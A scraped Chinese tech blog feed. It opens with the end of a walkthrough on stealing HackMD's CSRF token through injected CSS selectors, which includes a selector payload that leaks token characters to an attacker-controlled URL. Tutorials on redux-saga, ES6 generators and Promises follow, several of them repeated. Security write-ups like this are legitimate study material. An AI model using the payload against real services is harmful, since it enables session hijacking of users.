│ csrfToken.txt
│ index.js
│ package.json
│ package.json.lock
└───controllers
│ │ getCsrfToken.js
└───node_modules
最外層的 csrfToken.txt 等等會寫入 CSRF Token,而 index.js 則是 server 的主程式。我們先從主程式開始看。
重點在第 13 ~ 20 行的部分,第一次我們會收到 @
的字樣,但這只是一個開始偷 Csrf Token 的信號,所以在這個時候我們會傳入空字串進入 getCsrfToken
而且也不會把 @ 寫進 csrfToken.txt。
這個檔案主要寫動態新增 CSS Selector 的邏輯,第 18 ~ 30 行是第一次收到空字串為參數的時候,先打 Hackmd 的 GetNote API 取得文章內容。
第 29 到第 45 行將第一次取得的文章內容依據目前偷到的 CsrfToken 再加上 64 種 CSS Selector 組合,這樣一來便可以準備送出修改後的文章了。
第 46 到 第 57 行則是打 Hakmd EditNote API 將新增過 CSS Selector 的 Note 給送出。
在開始攻擊前僅僅需要下 node index.js
將 server 開啟,接著將筆記的連結用 Edit Mode 傳給受害者。
讓我們來看看會發生甚麼事。
成功偷出!
在竊取 Hackmd 的 Csrf Token 的案例中,有更快速的方法可以湊出 Csrf Token,利用
input[value$="a"] {
background: url("https://yourdomain/a")
}
同時也配對字尾的狀況下可以節省大約一半的時間。
]]>一個 Saga 是甚麼,這邊就直接解答了,一個 Saga 我們可以將它看作一個 LLT (Long lived transaction)。
transaction 在資料庫裏面代表一筆交易,一個交易如果失敗了,則資料庫的狀態必須回到交易前的時間點。為了要保持資料的完整性,必須確保一個交易會碰到的資料表或是資料列無法被其他交易操作。
當一筆交易如果非常久,那麼很容易造成資料庫鎖死大塞車的情況。另一個問題是長時間的交易容易累積高失敗率。
等等,剛剛前面是不是有說 Saga 是一個長時間的交易... 值得慶幸的是 Saga 是一個特別的 LLT,接下來我們來看看它運用了甚麼概念解決 LLT 的問題!
我們拿最近全家在賣的芒果椰奶冰淇淋為例子。
假設每一家店要在每天的最後計算賣出去的芒果椰奶冰淇淋的總枝數,這個持續一整天的統計其實就是一個 LLT,而每一次購買是一個小小的 transaction,這就是 Saga 的第一個特別之處,一個大的 Saga 可以由許多小 Saga 組合而成。
當客人買了一根冰淇淋,小的 transaction 就會記錄一次加 1,最後到關店前統計總共賣掉了幾支,一切看起來都很棒對吧!
全家的總公司為了維護品質,決定讓店員統一擠 3 圈冰淇淋,像下面這樣。
如果不是剛好 3 圈,客人可以退貨!
讓我們回想 Transaction 的特性,如果途中有操作失敗的話,就要回復到 Transaction 前的狀態。
這樣不就等於有一個客人退貨,就要把賣出的總數退回到當初退貨的客人買冰淇淋的時間點嗎?
聰明的你肯定知道如果有一個客人來退貨,只要將賣出的總數 -1 就好了嘛! 這樣整個大的 Transaction 即使其中有小的 Transaction 失敗也可以繼續執行,並且仍然保持資料的一致性。
將賣出的總數 -1 這件事就叫做一個 compensating transaction,這就是 Saga 特別的地方,我們只是把賣的枝數從 database 裡面減掉而不是讓 database 回到退貨的客人買冰淇淋發生前的時間點。
講完了理論讓我們來看看實作,雖然交易 (Transaction) 的概念常常被應用在資料庫,但是前端的 UX 也可以應用交易的概念呢!
想像一個登入流程:
既然登入要 Call API,很多人就會想到要用 Redux-Thunk 來寫,實際上是完全沒問題的! 下面的程式碼是用 thunk 寫的登入流程:
首先在 Reducer 裡面定義了幾種改變狀態的 action,分別是初始狀態 init
、登入中狀態 loading
、登入成功狀態 logined
以及登入失敗的狀態 error
。
問題是我們需要 Call 登入的 API 並且根據結果來發出成功或者失敗的 action,顯然單純的 action 並沒有辦法寫出這樣的邏輯。
Thunk comes to rescue!
如果在 Redux 啟用 thunk 的 middleware,那麼在每次 dispatch 之前,thunk 會先把關,如果 dispatch 一個函式,thunk 會先跑過這個函式,而這個函式會接收 dispatch 為參數,所以可以完成 Call API 並根據結果來決定要 dispatch 登入失敗或者登入成功。
Thunk 的確實現了我們希望的登入功能,但是如果我們真的把登入流程看成一筆交易,我們需要處理使用者反悔了,不想登入的情況。
Thunk 很難寫出這樣的邏輯,原因在於 promise 是不可逆的,當 promise 一執行我們只能等待黑箱作業的結果。
此外,Call API 也難以做測試,如果要測試還必須要模擬一遍。
別擔心,Saga 既然作為一個 LLT,它可以支援交易的失敗(取消登入)。
在 package.json 裡面可以看到測試以及打包用的指令。測試前需要將原始碼用 babel 轉成 es5 才能用 mocha 來測試。
要運行前則需要將原始碼用 webpack 打包,然後啟動 server。
接著來看看 babel 以及 webpack 的設定檔。
需要透過 babel 轉譯 JSX 以及 ES6 的語法。
webpack 透過 babel 轉譯以後再打包 css 成為一個 js 檔。
我們從使用者的角度來思考,要做出什麼樣的登入介面,下面是我們希望的成品。
跟之前不同的是使用者可以在 loading 等待時取消登入流!
Container 負責 UI 最外層的樣式。
Login 負責使用者輸入帳密的介面以及登入按鈕。
Loading 負責顯示旋轉等待登入的 UI (包含取消)。
User 元件在登入成功以後顯示使用者名稱以及核發的 token。
最後把上面被 React 操作的元件掛載好,UI 便告一段落了。
為了發送 API 以及讓其他人可以使用登入介面,就要連 Server 都建起來了XD
接著把前端呼叫 API 的方法給定義好。
終於要開始寫 Saga 的邏輯了,首先我們要將 Redux Store 給掛上 Redux Saga 的 middleware,然後選擇讓哪些 Saga 跑起來。
action 是一個物件,而 reducer 可以根據現在的 state 以及 action 的類型來產生新的 state。
reducer(state, action) => newState
雖然讀者應該很想看看 Root Saga 的廬山真面目,不過還是得先完成 boilerplate 很繁複的 redux 設定。
雖然這次的 reducer 只有 login 一個,但是在一般的專案裡會拆分成許多不同的 reducer 再合併,這裡便還是將 login 給包進大的 reducer 裡。
我們來看看 Saga 要怎麼寫,一個 Saga 可以由許多小 Saga 組成,Saga 的長相是一個 generator Function。
在一般的專案裡會有許多 Saga 併行,雖然這邊只有登入的 Saga,仍然讓讀者看看如何使 Saga 併行。
到此為止我們可以思考一下 watchRequestLogin 其實就是一個最上層的 saga,底下有 authorize 以及 loginFlow 兩個 saga,當 authorize saga 失敗(使用者取消登入時),並不會停止整個 watchRequestLogin saga,事實上登入的操作仍持續被監聽著,只是取消的那次登入,無論送出登入要求的結果是成功或失敗都不會再被處理。
Saga 除了解決 LLT 高失敗率的問題以外還有方便測試的好處,怎麼說呢? 事實上,takeEvery
、call
、put
、fork
、take
、cacel
等等 Helper Function 的回傳值都是 JS Literal Object 喔! 也就是說我們在測試時只要遍歷 Saga 並確保物件的相等即可!
最後也要記得測試 reducer 是否照我們所想的邏輯運作。
這次示範了如何將 saga pattern 運用在前端 UX,我們有很大的自由度選擇
要不要加上 compensating transaction。
除此之外,非同步 action 變得更好測試了,因為我們只需要比對物件而不需要真的模擬發送 request。
想要看這次的成品可以上這裡,如果想要連測試還有 server 都在本地跑請到這裡複製 repository。
最近在建置兩廳院的多視角直播系統,因此有碰到即時通訊的部分,在 web 的即時通訊技術裡面 webRTC 可以實現 client to client 的資訊交換。下一篇系列文應該會在年底才會寫,因為想要實做一個即時通訊的網頁,之後再把當中的技術跟大家分享囉! 在此立下年底完成的 Flag^^
]]>一個 Saga 是甚麼,這邊就直接解答了,一個 Saga 我們可以將它看作一個 LLT (Long lived transaction)。
transaction 在資料庫裏面代表一筆交易,一個交易如果失敗了,則資料庫的狀態必須回到交易前的時間點。為了要保持資料的完整性,必須確保一個交易會碰到的資料表或是資料列無法被其他交易操作。
當一筆交易如果非常久,那麼很容易造成資料庫鎖死大塞車的情況。另一個問題是長時間的交易容易累積高失敗率。
等等,剛剛前面是不是有說 Saga 是一個長時間的交易... 值得慶幸的是 Saga 是一個特別的 LLT,接下來我們來看看它運用了甚麼概念解決 LLT 的問題!
我們拿最近全家在賣的芒果椰奶冰淇淋為例子。
假設每一家店要在每天的最後計算賣出去的芒果椰奶冰淇淋的總枝數,這個持續一整天的統計其實就是一個 LLT,而每一次購買是一個小小的 transaction,這就是 Saga 的第一個特別之處,一個大的 Saga 可以由許多小 Saga 組合而成。
當客人買了一根冰淇淋,小的 transaction 就會記錄一次加 1,最後到關店前統計總共賣掉了幾支,一切看起來都很棒對吧!
全家的總公司為了維護品質,決定讓店員統一擠 3 圈冰淇淋,像下面這樣。
如果不是剛好 3 圈,客人可以退貨!
讓我們回想 Transaction 的特性,如果途中有操作失敗的話,就要回復到 Transaction 前的狀態。
這樣不就等於有一個客人退貨,就要把賣出的總數退回到當初退貨的客人買冰淇淋的時間點嗎?
聰明的你肯定知道如果有一個客人來退貨,只要將賣出的總數 -1 就好了嘛! 這樣整個大的 Transaction 即使其中有小的 Transaction 失敗也可以繼續執行,並且仍然保持資料的一致性。
將賣出的總數 -1 這件事就叫做一個 compensating transaction,這就是 Saga 特別的地方,我們只是把賣的枝數從 database 裡面減掉而不是讓 database 回到退貨的客人買冰淇淋發生前的時間點。
講完了理論讓我們來看看實作,雖然交易 (Transaction) 的概念常常被應用在資料庫,但是前端的 UX 也可以應用交易的概念呢!
想像一個登入流程:
既然登入要 Call API,很多人就會想到要用 Redux-Thunk 來寫,實際上是完全沒問題的! 下面的程式碼是用 thunk 寫的登入流程:
首先在 Reducer 裡面定義了幾種改變狀態的 action,分別是初始狀態 init
、登入中狀態 loading
、登入成功狀態 logined
以及登入失敗的狀態 error
。
問題是我們需要 Call 登入的 API 並且根據結果來發出成功或者失敗的 action,顯然單純的 action 並沒有辦法寫出這樣的邏輯。
Thunk comes to rescue!
如果在 Redux 啟用 thunk 的 middleware,那麼在每次 dispatch 之前,thunk 會先把關,如果 dispatch 一個函式,thunk 會先跑過這個函式,而這個函式會接收 dispatch 為參數,所以可以完成 Call API 並根據結果來決定要 dispatch 登入失敗或者登入成功。
Thunk 的確實現了我們希望的登入功能,但是如果我們真的把登入流程看成一筆交易,我們需要處理使用者反悔了,不想登入的情況。
Thunk 很難寫出這樣的邏輯,原因在於 promise 是不可逆的,當 promise 一執行我們只能等待黑箱作業的結果。
此外,Call API 也難以做測試,如果要測試還必須要模擬一遍。
別擔心,Saga 既然作為一個 LLT,它可以支援交易的失敗(取消登入)。
在 package.json 裡面可以看到測試以及打包用的指令。測試前需要將原始碼用 babel 轉成 es5 才能用 mocha 來測試。
要運行前則需要將原始碼用 webpack 打包,然後啟動 server。
接著來看看 babel 以及 webpack 的設定檔。
需要透過 babel 轉譯 JSX 以及 ES6 的語法。
webpack 透過 babel 轉譯以後再打包 css 成為一個 js 檔。
我們從使用者的角度來思考,要做出什麼樣的登入介面,下面是我們希望的成品。
跟之前不同的是使用者可以在 loading 等待時取消登入流!
Container 負責 UI 最外層的樣式。
Login 負責使用者輸入帳密的介面以及登入按鈕。
Loading 負責顯示旋轉等待登入的 UI (包含取消)。
User 元件在登入成功以後顯示使用者名稱以及核發的 token。
最後把上面被 React 操作的元件掛載好,UI 便告一段落了。
為了發送 API 以及讓其他人可以使用登入介面,就要連 Server 都建起來了XD
接著把前端呼叫 API 的方法給定義好。
終於要開始寫 Saga 的邏輯了,首先我們要將 Redux Store 給掛上 Redux Saga 的 middleware,然後選擇讓哪些 Saga 跑起來。
action 是一個物件,而 reducer 可以根據現在的 state 以及 action 的類型來產生新的 state。
reducer(state, action) => newState
雖然讀者應該很想看看 Root Saga 的廬山真面目,不過還是得先完成 boilerplate 很繁複的 redux 設定。
雖然這次的 reducer 只有 login 一個,但是在一般的專案裡會拆分成許多不同的 reducer 再合併,這裡便還是將 login 給包進大的 reducer 裡。
我們來看看 Saga 要怎麼寫,一個 Saga 可以由許多小 Saga 組成,Saga 的長相是一個 generator Function。
在一般的專案裡會有許多 Saga 併行,雖然這邊只有登入的 Saga,仍然讓讀者看看如何使 Saga 併行。
到此為止我們可以思考一下 watchRequestLogin 其實就是一個最上層的 saga,底下有 authorize 以及 loginFlow 兩個 saga,當 authorize saga 失敗(使用者取消登入時),並不會停止整個 watchRequestLogin saga,事實上登入的操作仍持續被監聽著,只是取消的那次登入,無論送出登入要求的結果是成功或失敗都不會再被處理。
Saga 除了解決 LLT 高失敗率的問題以外還有方便測試的好處,怎麼說呢? 事實上,takeEvery
、call
、put
、fork
、take
、cacel
等等 Helper Function 的回傳值都是 JS Literal Object 喔! 也就是說我們在測試時只要遍歷 Saga 並確保物件的相等即可!
最後也要記得測試 reducer 是否照我們所想的邏輯運作。
這次示範了如何將 saga pattern 運用在前端 UX,我們有很大的自由度選擇
要不要加上 compensating transaction。
除此之外,非同步 action 變得更好測試了,因為我們只需要比對物件而不需要真的模擬發送 request。
想要看這次的成品可以上這裡,如果想要連測試還有 server 都在本地跑請到這裡複製 repository。
最近在建置兩廳院的多視角直播系統,因此有碰到即時通訊的部分,在 web 的即時通訊技術裡面 webRTC 可以實現 client to client 的資訊交換。下一篇系列文應該會在年底才會寫,因為想要實做一個即時通訊的網頁,之後再把當中的技術跟大家分享囉! 在此立下年底完成的 Flag^^
]]>還記得 Promise Chain 嗎? 如果想把上面的 Promise Chain 改寫成像下面這樣的 Generator Function。
我就問! 如果想要把下面這個 Generator Function 跑起來並可以達到上圖 Promise Chain 的效果,你會怎麼做?
讓我們思考一下,首先一定要建立一個迭代器,接著我們可以開始跑迭代器,因為我們會在第一個 next 的 value 拿到第一個 Promise,問題是接下來要如何把 Promise resolve 的值給賦值到變數 Response 上呢?
const response1 = yield sendRequest()
聰明的讀者想到了嗎? 我們可以利用 Promise 的 then 在取得結果以後再將結果當作下一輪 next 的參數!
像是這樣子的寫法:
iterator.next().value.then(response1 => {
// 將 response1 放進 next 當作參數
iterator.next(response1)
})
如果還是不清楚這個想法的讀者,可以看第二個篇章介紹到的在 next 代入的參數會取代上一個 yield 的位置,也就是說變數 response1 在上面的範例裡會被 sendRequest 產生的 promise resolve 出來的結果給賦值。
如果我們想要把整個 Generator Function 用 next 的方式得到所有 promise 的 resolve 結果,先請讀者想像一下會發生甚麼事。
哭阿! 又跟龍見面啦!
龍再度支援收銀...
既然我們做的事情只是不斷的呼叫 next,並且把上一個 next 回傳的 promise resolve 出來的結果給當作參數,何不寫成遞迴呢?
這樣一來我們在外觀上只要寫一個 Generator,以及一個產生 iterator 並遞迴跑這個 iterator 的函式即可。Callback Hell 瞬間消失!
除此之外,我們甚至可以在 Generator Function 裡面寫 try catch 的邏輯。
為甚麼可以自由的寫 try catch 的語法,讀者可以自行思考一下,這邊筆者列出幾個想法:
細心的讀者發現了嗎? 在 Generator Function 裡面,我們把非同步的程式碼寫的像是同步的程式碼一樣!!
筆者就不賣關子了,Async Function 做的事情很簡單,就只是:
不同的地方在於,Generator 必須要遞迴迭代,但是 Async Function 已經將把這個步驟封裝起來了!
這就是為甚麼 yield 關鍵字為甚麼會變成 await 的原因了!
最後筆者把上面的範例寫成 Async Function 做個結尾。
鋪陳了三篇文章,終於引出了 Async Function 的運作機制! 完成優化非同步程式碼的最後一塊拼圖 謝謝收看~
]]>還記得 Promise Chain 嗎? 如果想把上面的 Promise Chain 改寫成像下面這樣的 Generator Function。
我就問! 如果想要把下面這個 Generator Function 跑起來並可以達到上圖 Promise Chain 的效果,你會怎麼做?
讓我們思考一下,首先一定要建立一個迭代器,接著我們可以開始跑迭代器,因為我們會在第一個 next 的 value 拿到第一個 Promise,問題是接下來要如何把 Promise resolve 的值給賦值到變數 Response 上呢?
const response1 = yield sendRequest()
聰明的讀者想到了嗎? 我們可以利用 Promise 的 then 在取得結果以後再將結果當作下一輪 next 的參數!
像是這樣子的寫法:
iterator.next().value.then(response1 => {
// 將 response1 放進 next 當作參數
iterator.next(response1)
})
如果還是不清楚這個想法的讀者,可以看第二個篇章介紹到的在 next 代入的參數會取代上一個 yield 的位置,也就是說變數 response1 在上面的範例裡會被 sendRequest 產生的 promise resolve 出來的結果給賦值。
如果我們想要把整個 Generator Function 用 next 的方式得到所有 promise 的 resolve 結果,先請讀者想像一下會發生甚麼事。
哭阿! 又跟龍見面啦!
龍再度支援收銀...
既然我們做的事情只是不斷的呼叫 next,並且把上一個 next 回傳的 promise resolve 出來的結果給當作參數,何不寫成遞迴呢?
這樣一來我們在外觀上只要寫一個 Generator,以及一個產生 iterator 並遞迴跑這個 iterator 的函式即可。Callback Hell 瞬間消失!
除此之外,我們甚至可以在 Generator Function 裡面寫 try catch 的邏輯。
為甚麼可以自由的寫 try catch 的語法,讀者可以自行思考一下,這邊筆者列出幾個想法:
細心的讀者發現了嗎? 在 Generator Function 裡面,我們把非同步的程式碼寫的像是同步的程式碼一樣!!
筆者就不賣關子了,Async Function 做的事情很簡單,就只是:
不同的地方在於,Generator 必須要遞迴迭代,但是 Async Function 已經將把這個步驟封裝起來了!
這就是為甚麼 yield 關鍵字為甚麼會變成 await 的原因了!
最後筆者把上面的範例寫成 Async Function 做個結尾。
鋪陳了三篇文章,終於引出了 Async Function 的運作機制! 完成優化非同步程式碼的最後一塊拼圖 謝謝收看~
]]>ES6 Generator Function
,有點小複雜,但是是為了最後的 async/await 做鋪墊,async/await 相信很多讀者都用的得心應手了,從 Generator Function 開始打基礎可以讓我們了解 async/await 的運作機制,發出「喔~ 原來是這樣!」的讚嘆。寫過 python 的人肯定對迭代器不陌生! generator function 是一個所謂的迭代器產生工廠
,呼叫它就可以得到一個迭代器。
想要寫一個迭代器工廠必須在函式前面加上 * 號
,當要生產一個迭代器時只要簡單的呼叫工廠即可。至於迭代器工廠裡面的 yield 是甚麼我們後面再談。
當創建好了迭代器以後接著便可以使用它了,下面是它的使用方法。
聰明的讀者應該發現到每迭代一次都會返回 yield 後面的值,至於 done 的值是 true 或是 false 則取決於是否已經執行到了最後 yield。
等等! 但是當 yield 到 3 的時候應該就要將 done 的值設成 false 了才對,為甚麼仍然要再 next 一次才會是 false 呢?
這就是迭代器的特性啦!! 迭代器是非常懶惰的,每執行一次 next 迭代器只會推進到下一個 yield 的所在,所以雖然讀者知道 yield 3
已經是最後一個 yield 了,但非常抱歉你的迭代器不知道 QQ
至於要如何解決這個問題,請把最後一個 yield
替換成 return
,如此一來迭代器看到 return 便知道要結束了!
請讀者思考上面的程式碼會 console 出甚麼結果~
如果 ES6 Generator 這麼簡單就太可惜了。我們來看看它的推拉機制(Push-Pull Model)。
請讀者先看下面的範例。
原來 next 裡面可以填值,不過 next 裡面的參數的效果是甚麼呢? 上圖程式碼的輸出結果會是:
{value: 0, done: false}
{value: 5, done: false}
{value: 11, done: false}
現在讓我們來一窺 generator function 的詳細運作流程~
accumulateIterator.next(4)
第一次呼叫 next 填入參數 4,以下是運作流程:
(1) 迭代器開始執行,迭代器想要將上一個執行到的 yield 關鍵字的位置改成 4,但是因為是第一次迭代,沒有上一個 yield,只好往下執行。
(2) total = defaultValue
defaultValue 預設為 0,所以 total 是 0
(3) 進入 while 迴圈,total += yield total
,此時先執行等號右邊,遇到 yield 所以將 yield 右側的值輸出,因此第一個輸出的值是 0。
accumulateIterator.next(5)
第二次呼叫 next 填入參數 5:
(1) total += yield total
迭代器想要將上一個執行到的 yield 關鍵字的位置改成 5,所以目前 total 的值是 0 + 5 = 5。
(2) 繼續執行到 while 底部重新遇到 total += yield total
。
(3) 此時遇到 yield,所以輸出 total,值是 5。
accumulateIterator(6)
第三次呼叫 next 填入參數 6:
(1) total += yield total
迭代器想要將上一個執行到的 yield 關鍵字的位置改成 6,所以目前 total 的值是 5 + 6 = 11。
(2) 繼續執行到 while 底部重新遇到 total += yield total
。
(3) 此時遇到 yield,所以輸出 total,值是 11。
到此為止讀者應該了解 Generator Function 的詳細運作了,這邊幫讀者畫兩個重點:
普通的迭代器是靜態的,但是在 ES6 Generator Function 裡面是可以動態的把值給 push 進去的。至於每次呼叫 next 拿到 yield 右側的值的這個動作就叫做 pull,這也就是 Push-Pull Model 名稱的由來。
除了可以依照情況更改輸出狀態以外,迭代器最大的優點就是惰性求值
。在上面的範例我們可以完全不用害怕寫無窮迴圈,但如果在一般的函式寫寫看,包準你的 callstack 馬上滿到溢出來。
惰性求值可以讓我們不用創造一個陣列來儲存非常多的值,而我們又可以確保得到每一個值。
基本上除了 Generator Function 有惰性求值的特性以外,其餘的表達式都是積極求值
。
比如說 let c = 3
會立刻將 3 指派到變數 c 身上。
比如說 3 + 5
會立即運算出 8。
因為 Generator Function 擁有惰性求值的概念,所以很適合拿來寫費波那契數列並取得數列中任意的值,我們並不需要在一開始就求出費波那契數列的所有值並儲存在陣列裡。
讀者可以試著寫寫看,答案在防雷線後面。
我是防雷線
我是防雷線
我是防雷線
我是防雷線
我是防雷線
Generator Function 跟優化非同步 callback function 的寫法到底有甚麼關係呀... 別擔心,下一篇是巢狀救星三部曲的最終章,會展示由 Generator Function 演化出的 async/await 語法如何徹底將 callback hell 給 K.O.
]]>ES6 Generator Function
,有點小複雜,但是是為了最後的 async/await 做鋪墊,async/await 相信很多讀者都用的得心應手了,從 Generator Function 開始打基礎可以讓我們了解 async/await 的運作機制,發出「喔~ 原來是這樣!」的讚嘆。寫過 python 的人肯定對迭代器不陌生! generator function 是一個所謂的迭代器產生工廠
,呼叫它就可以得到一個迭代器。
想要寫一個迭代器工廠必須在函式前面加上 * 號
,當要生產一個迭代器時只要簡單的呼叫工廠即可。至於迭代器工廠裡面的 yield 是甚麼我們後面再談。
當創建好了迭代器以後接著便可以使用它了,下面是它的使用方法。
聰明的讀者應該發現到每迭代一次都會返回 yield 後面的值,至於 done 的值是 true 或是 false 則取決於是否已經執行到了最後 yield。
等等! 但是當 yield 到 3 的時候應該就要將 done 的值設成 false 了才對,為甚麼仍然要再 next 一次才會是 false 呢?
這就是迭代器的特性啦!! 迭代器是非常懶惰的,每執行一次 next 迭代器只會推進到下一個 yield 的所在,所以雖然讀者知道 yield 3
已經是最後一個 yield 了,但非常抱歉你的迭代器不知道 QQ
至於要如何解決這個問題,請把最後一個 yield
替換成 return
,如此一來迭代器看到 return 便知道要結束了!
請讀者思考上面的程式碼會 console 出甚麼結果~
如果 ES6 Generator 這麼簡單就太可惜了。我們來看看它的推拉機制(Push-Pull Model)。
請讀者先看下面的範例。
原來 next 裡面可以填值,不過 next 裡面的參數的效果是甚麼呢? 上圖程式碼的輸出結果會是:
{value: 0, done: false}
{value: 5, done: false}
{value: 11, done: false}
現在讓我們來一窺 generator function 的詳細運作流程~
accumulateIterator.next(4)
第一次呼叫 next 填入參數 4,以下是運作流程:
(1) 迭代器開始執行,迭代器想要將上一個執行到的 yield 關鍵字的位置改成 4,但是因為是第一次迭代,沒有上一個 yield,只好往下執行。
(2) total = defaultValue
defaultValue 預設為 0,所以 total 是 0
(3) 進入 while 迴圈,total += yield total
,此時先執行等號右邊,遇到 yield 所以將 yield 右側的值輸出,因此第一個輸出的值是 0。
accumulateIterator.next(5)
第二次呼叫 next 填入參數 5:
(1) total += yield total
迭代器想要將上一個執行到的 yield 關鍵字的位置改成 5,所以目前 total 的值是 0 + 5 = 5。
(2) 繼續執行到 while 底部重新遇到 total += yield total
。
(3) 此時遇到 yield,所以輸出 total,值是 5。
accumulateIterator(6)
第三次呼叫 next 填入參數 6:
(1) total += yield total
迭代器想要將上一個執行到的 yield 關鍵字的位置改成 6,所以目前 total 的值是 5 + 6 = 11。
(2) 繼續執行到 while 底部重新遇到 total += yield total
。
(3) 此時遇到 yield,所以輸出 total,值是 11。
到此為止讀者應該了解 Generator Function 的詳細運作了,這邊幫讀者畫兩個重點:
普通的迭代器是靜態的,但是在 ES6 Generator Function 裡面是可以動態的把值給 push 進去的。至於每次呼叫 next 拿到 yield 右側的值的這個動作就叫做 pull,這也就是 Push-Pull Model 名稱的由來。
除了可以依照情況更改輸出狀態以外,迭代器最大的優點就是惰性求值
。在上面的範例我們可以完全不用害怕寫無窮迴圈,但如果在一般的函式寫寫看,包準你的 callstack 馬上滿到溢出來。
惰性求值可以讓我們不用創造一個陣列來儲存非常多的值,而我們又可以確保得到每一個值。
基本上除了 Generator Function 有惰性求值的特性以外,其餘的表達式都是積極求值
。
比如說 let c = 3
會立刻將 3 指派到變數 c 身上。
比如說 3 + 5
會立即運算出 8。
因為 Generator Function 擁有惰性求值的概念,所以很適合拿來寫費波那契數列並取得數列中任意的值,我們並不需要在一開始就求出費波那契數列的所有值並儲存在陣列裡。
讀者可以試著寫寫看,答案在防雷線後面。
我是防雷線
我是防雷線
我是防雷線
我是防雷線
我是防雷線
Generator Function 跟優化非同步 callback function 的寫法到底有甚麼關係呀... 別擔心,下一篇是巢狀救星三部曲的最終章,會展示由 Generator Function 演化出的 async/await 語法如何徹底將 callback hell 給 K.O.
]]>在 JavaScript 裡頭,同步以及非同步的概念在社群的努力下應該很容易可以管道來了解,所以這系列文章會跳過這一部分來談談在非同步的程式碼中常常碰到的問題 - 巢狀地獄( Callback Hell ),在這系列的三篇文章中我們將一次次升級手段來解決巢狀地獄!
首先要先了解這系列文章想要解決的問題,下面的程式碼模擬了一個 request,使用者可以輸入兩個 Callback function,一個會在 200 response 觸發,另一個會在 500 response 觸發。
現在我們模擬一個情境,假設有一個 twitch hot 的網站會顯示前 100 名最夯的頻道,如果 Twitch 的 API 一次只提供 20 筆資料,因為後端的資料庫是 cursor-based 的緣故,後面要再拿到 20 筆資料需要帶上前一個 request 返回的 token。
在這樣的情況下,我們必須等到第一個 request 收到 response 以後再發第一個 request...
我們可以模擬一下用 Callback function 的寫法:
筆者在打這段程式碼的時候差點被 indentation 搞瘋,如果我們要寫更多層巢狀的話直接按 tab 鑑按到手殘廢,況且在 ESLint 裡面甚至有每行長度限制的選項存在,也就是說巢狀語法是公認的糟糕呀!
題外話,論藝術感來說,巢狀語法的形狀其實滿有型的,下面附上幾張經典圖 XDD
大家的哀嚎 ECMAScript 都聽到了, ES6 的 Promise 物件 Come to your rescue!
Promise 應該被大家用到爛掉了,但筆者還是非常快的將它的基本寫法給過水一下。
創建 Promise 物件時填入一個函式來寫要做的事情,比如說 Call API 之類非同步的事情,當然也可以寫同步的程式碼,總之在 Promise 物件被創建起來的時候,裡面的 Code 就會被執行。
填入的這個函式會收到兩個函式作為參數,當第一個函式被呼叫代表狀態成功,當第二個函式被呼叫代表狀態失敗。
這是一個什麼樣的概念呢? 讓我用狀態機來解釋~
有限狀態機表示有限個狀態以及在這些狀態之間轉移的數學模型,請注意「有限」以及「狀態」。
有用過 jQuery 的人應該知道 Chaining 的厲害之處,像是下面這樣的範例。
$("#p1").css("color", "red").slideUp(2000).slideDown(2000);
jQuery 的物件可以用一個 statement 便完成許多事情的原因是因為它的每個函式最後都後將 jQuey 的物件回傳回來~ 而 Promise 物件也有類似的設計唷! 一起來看看把前面的 twitch request 波動拳改成 promise 的寫法!
波動拳完全消失了呢! 這就是 promise 的物件方法 then 的厲害之處了,then 的參數是一個函式,會接收到 promise resolve 之後的值,而 return 的值可以再被下一個 then 給接收(注意: return 不一定只可以回傳 promise 物件)。
由於採用了 Chaining 的語法,所以大大改善了回呼函式不易閱讀的缺點!
既然談到 Promise,筆者想再介紹兩個十分好用的 Promise 建構子的方法。
Promise.all()
如果 request 之間並不用互相等待依賴結果,希望可以同時並行可行嗎? 這時候請使用 Promise.All
,把所有的 promise 都放進一個陣列再丟進來,等待所有 promise 都執行完畢便可以一次收到所有結果~
注意:
(1) 當 promise 被創建時,裡面如果有非同步的程式碼即開始執行,並非丟進 Promise.all 才開始執行!
(2) Promise.all 在 then 接收到的結果順序與傳入的順序一致,並不是先執行結束的在前面
Promise.race()
所有的 Promise 誰先 resolve 誰就獲勝
,這是甚麼東西? 有甚麼情況會需要所有 Promise 比速度。讀者有想到甚麼情境嗎?
原來可以限制 request 逾時的時間呢! 這個方法很棒吧~
到此為止我們初步解決了非同步的巢狀地獄,不過還沒結束呢! 下一篇二部曲我們來瞧瞧 ES6 Generators
的厲害,敬請期待。
在 JavaScript 裡頭,同步以及非同步的概念在社群的努力下應該很容易可以管道來了解,所以這系列文章會跳過這一部分來談談在非同步的程式碼中常常碰到的問題 - 巢狀地獄( Callback Hell ),在這系列的三篇文章中我們將一次次升級手段來解決巢狀地獄!
首先要先了解這系列文章想要解決的問題,下面的程式碼模擬了一個 request,使用者可以輸入兩個 Callback function,一個會在 200 response 觸發,另一個會在 500 response 觸發。
現在我們模擬一個情境,假設有一個 twitch hot 的網站會顯示前 100 名最夯的頻道,如果 Twitch 的 API 一次只提供 20 筆資料,因為後端的資料庫是 cursor-based 的緣故,後面要再拿到 20 筆資料需要帶上前一個 request 返回的 token。
在這樣的情況下,我們必須等到第一個 request 收到 response 以後再發第一個 request...
我們可以模擬一下用 Callback function 的寫法:
筆者在打這段程式碼的時候差點被 indentation 搞瘋,如果我們要寫更多層巢狀的話直接按 tab 鑑按到手殘廢,況且在 ESLint 裡面甚至有每行長度限制的選項存在,也就是說巢狀語法是公認的糟糕呀!
題外話,論藝術感來說,巢狀語法的形狀其實滿有型的,下面附上幾張經典圖 XDD
大家的哀嚎 ECMAScript 都聽到了, ES6 的 Promise 物件 Come to your rescue!
Promise 應該被大家用到爛掉了,但筆者還是非常快的將它的基本寫法給過水一下。
創建 Promise 物件時填入一個函式來寫要做的事情,比如說 Call API 之類非同步的事情,當然也可以寫同步的程式碼,總之在 Promise 物件被創建起來的時候,裡面的 Code 就會被執行。
填入的這個函式會收到兩個函式作為參數,當第一個函式被呼叫代表狀態成功,當第二個函式被呼叫代表狀態失敗。
這是一個什麼樣的概念呢? 讓我用狀態機來解釋~
有限狀態機表示有限個狀態以及在這些狀態之間轉移的數學模型,請注意「有限」以及「狀態」。
有用過 jQuery 的人應該知道 Chaining 的厲害之處,像是下面這樣的範例。
$("#p1").css("color", "red").slideUp(2000).slideDown(2000);
jQuery 的物件可以用一個 statement 便完成許多事情的原因是因為它的每個函式最後都後將 jQuey 的物件回傳回來~ 而 Promise 物件也有類似的設計唷! 一起來看看把前面的 twitch request 波動拳改成 promise 的寫法!
波動拳完全消失了呢! 這就是 promise 的物件方法 then 的厲害之處了,then 的參數是一個函式,會接收到 promise resolve 之後的值,而 return 的值可以再被下一個 then 給接收(注意: return 不一定只可以回傳 promise 物件)。
